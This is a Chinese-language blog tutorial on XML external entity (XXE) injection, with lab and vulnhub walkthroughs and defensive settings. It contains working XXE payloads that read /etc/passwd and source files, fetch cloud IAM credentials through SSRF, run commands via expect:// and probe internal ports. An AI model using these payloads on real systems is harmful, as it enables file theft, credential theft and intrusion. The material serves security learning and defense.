目录
前言
什么是XXE
XXE(XML External Entity Injection)即XML外部实体注入,攻击者通过向服务器注入指定的XML实体内容,从而让服务器按照指定的配置进行执行,导致问题。也就是说服务端接收和解析了来自用户端的XML数据,而又没有做严格的安全控制,从而导致XML外部实体注入。
XXE漏洞触发的点往往是可以上传XML文件的位置,由于没有对上传的XML文件进行过滤,导致可以上传恶意的XML文件;应用程序解析XML输入时,没有禁止外部实体的加载,导致可能加载恶意外部文件,后果是导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
总结:
漏洞产生原因:
- 存在XML文件上传
- 服务器可以解析外部XML实体
后果:
- 任意文件读取
- 系统命令执行
- 端口扫描
脑图
利用思路
通常攻击者会将payload注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。换而言之,XXE是一种从本地到达各种服务的方法。此外,在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。
什么是XML
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。你可以把XML理解为一个用来定义数据的东东,它是被设计用来进行数据的传输和存储,因此,两个采用不同技术的系统可以通过XML进行通信和交换数据。
XML在各语言下支持的协议有:
XML文档结构包括:
- XML声明
- 文档元素
- DTD文档类型定义(可选)
XML基本语法
- 所有的XML元素都必须有一个关闭标签
- XML标签对大小写敏感
- XML必须正确嵌套
- XML属性值必须加引号
""
- 实体引用(在标签属性,以及对应的位置值可能会出现<>符号,但是这些符号在对应的XML中都是有特殊含义的,这时候我们必须使用对应html的实体对应的表示)
- 在XML中,空格会被保留(案例如:
a空格B
,这时候a和B之间的空格就会被保留)
由于XXE漏洞与DTD文档相关,因此重点介绍DTD的概念。
文档类型定义(DTD)
文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。
内部声明的DTD:
<!DOCTYPE 根元素 [元素声明]>
引用外部的DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
实体
实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体按类型主要分为以下四种:
- 内置实体 (Built-in entities)
- 字符实体 (Character entities)
- 通用实体 (General entities)
- 参数实体 (Parameter entities)
参数实体用%实体名称申明,引用时也用%实体名称;参数实体只能在DTD中申明,DTD中引用。
其余实体直接用实体名称申明,引用时用&实体名称;其余实体只能在DTD中申明,可在xml文档中引用。
实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的声明方式。
内部声明实体:
<!ENTITY 实体名称 "实体的值">
引用外部实体:
<!ENTITY 实体名称 SYSTEM "URI">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
XXE攻击分类
检测XXE存在
最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞,这里以bwapp为例演示一下
修改一下,重放
将beeAny bugs?替换为
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY popped SYSTEM "http://127.0.0.1/bwapp/bWAPP/666">
]>
<reset><login>&popped;</login><secret>Any bugs?</secret></reset>
可以看到应用程序确实是直接解析了xml,那么如果xml文档中有一个参数是用来调用远程服务器的内容?这个参数是可控的,我们可以做什么?
任意文件读取
在真实世界的 XXE 漏洞下,提交的 XML 中通常会存在大量数据值,其中任何一个值都可能在应用程序的响应中使用。要系统地测试 XXE 漏洞,你通常需要单独测试 XML 中的每个数据节点,利用你定义的实体并查看其是否出现在响应中
要实现任意文件读取的 XXE 注入攻击,你需要以两种方式修改提交的 XML:
- 引入(或编辑)定义包含文件路径的外部实体的元素。DOCTYPE
- 编辑应用响应中返回的 XML 中的数据值,以使用定义的外部实体。
例如,假设购物申请通过向服务器提交以下 XML 来检查产品的库存水平:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
该应用程序不执行针对 XXE 攻击的特定防御,因此你可以利用 XXE 漏洞通过提交以下 XXE 的有效载荷来读取任意文件:/etc/passwd
(一会我们做实验用到的就是类似下面这个代码内容)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck><productId>&xxe;</productId></stockCheck>
以BurpSuite的在线实验室为例:Lab: Exploiting XXE using external entities to retrieve files
1:点开网站,随便选择一个页面
2:开启抓包,点击“Check stock”,并把包发送到重放模块,停止抓包
3:根据实验室首页提到的方法,开始解题
4:如下图填写,即可
SSRF 攻击
除了检索敏感数据外,XXE 攻击的另一个主要影响是它们可用于执行服务器端请求伪造 (SSRF)。这是一个潜在的严重漏洞,可以诱导服务器的应用程序向服务器可以访问的任何 URL 提出 HTTP 请求。
要利用 XXE 漏洞执行SSRF 攻击,你需要使用要指向目标的 URL 定义外部 XML 实体,并在数据值内使用定义的实体。如果你可以在应用程序响应中返回的数据值中使用定义的实体,那么你将能够在应用程序响应中查看来自 URL 的响应,从而获得与后端系统的双向交互。如果没有,那么你将只能执行盲目的 SSRF攻击(这仍然可以产生严重后果)。
在以下 XXE 示例中,外部实体将导致服务器向组织基础结构中的内部系统提出后端 HTTP 请求:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
以BurpSuite的在线实验室为例:Lab: Exploiting XXE to perform SSRF attacks
1:随意打开一个页面
2:开启抓包,点击“Check stock”,并把包发送到重放模块,停止抓包
3:根据实验室首页提到的方法,开始解题
4:反复测试之后,把提示中第4步说到的路径,略作处理即可
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
执行系统命令
这种情况很少发生,但在配置不当/开发内部应用情况下(PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上),攻击者能够通过XXE执行代码。
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "expect://id">
]>
<hhh>&f;<hhh>
探测内网端口
可根据返回信息内容判断该端口是否打开。若测试端口返回“Connection refused”则可以知道该端口是closed的,否则为open
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
Blind XXE漏洞
对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。
实操中碰到一些问题,以后再更😓
靶机实测Vulnhub
搭建
使用的是Vulnhub的XXE靶机,在搜索框中搜索XXE即可看到,地址
在地址中,细节页面中我们看到了靶机通关的文档链接(纯英文的),以及要挑战的靶机地址是http://ip/xxe
访问目标站点
随意输入一个账密,发现账密是以XML格式传输的,接下来就考虑XXE了
任意文件读取
测试任意文件读取,读取成功
尝试读取index.php文件
读取失败
读取失败,可以尝试编码绕过,这里由于目标站点是php的,我们可以采用相应的编码方式
关于编码:
除了用来绕过,另外一个好处是不用手动指定绝对路径了,编码之后,程序会检查当前路径中的文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<root><name>&xxe;</name><password>password</password></root>
base64解码之后,拿到明文内容
尝试读取admin.php
用同样的方法的读取admin.php
解码之后看到了经过md5加密的密码,知道明文的账户是administhebest
在线解密,拿到密码admin@123
这个时候,需要注意,我们要登陆的页面不是http://192.168.40.152/xxe/
,任意文件读取的时候,我们设定的是admin.php,所以访问路径应该是http://192.168.40.152/xxe/admin.php
获取flag
上面,我们获取flag失败,意味着,还是得通过XXE编码才能获得
另外,注意到flag的地址是http://192.168.40.152/flagmeout.php
,所以需要设定一下读取文件位置
作者读对flag做了二次处理,上面的flag是一个经过base32编码的
1:base32解码
2:base64解码
3:拿到了一个路径,看样子还得继续任意文件读取
4:解码之后,稀烂。
查阅资料后得知,由于站点是php的,所以下面的内容就是php的代码
5:找个php在线运行的网站
这里也有坑,不知道为什么,用菜鸟教程或者别的站点运行失败
但是使用https://www.dooccn.com/php/就如下图,运行出了结果
靶机实测XXE-lab
项目地址:https://github.com/c0ny1/xxe-lab
下载解压,丢到phpstudy的www目录中,访问页面如下,随便写个账密抓包
抓包发现Accept属性里面有xml
构造payload:
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///c:/windows/win.ini">
]>
<user><username>&test;</username><password>1233456</password></user>
防御方式
使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的XML数据
过滤关键词:<!DOCTYPE
和<!ENTITY
,或者SYSTEM
和PUBLIC
。
参考
[红日安全]Web安全Day8 – XXE实战攻防
浅谈XXE攻击
XXE漏洞利用技巧:从XML到远程代码执行
未知攻焉知防——XXE漏洞攻防
XXE从入门到放弃
浅谈XXE漏洞攻击与防御
XML external entity (XXE) injection
Web Security Academy ___XXE injection___Lab(配图清晰)
WEB漏洞-XXE&XML之利用检测绕过全解
XXE-lab(全踩坑)实录
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134306.html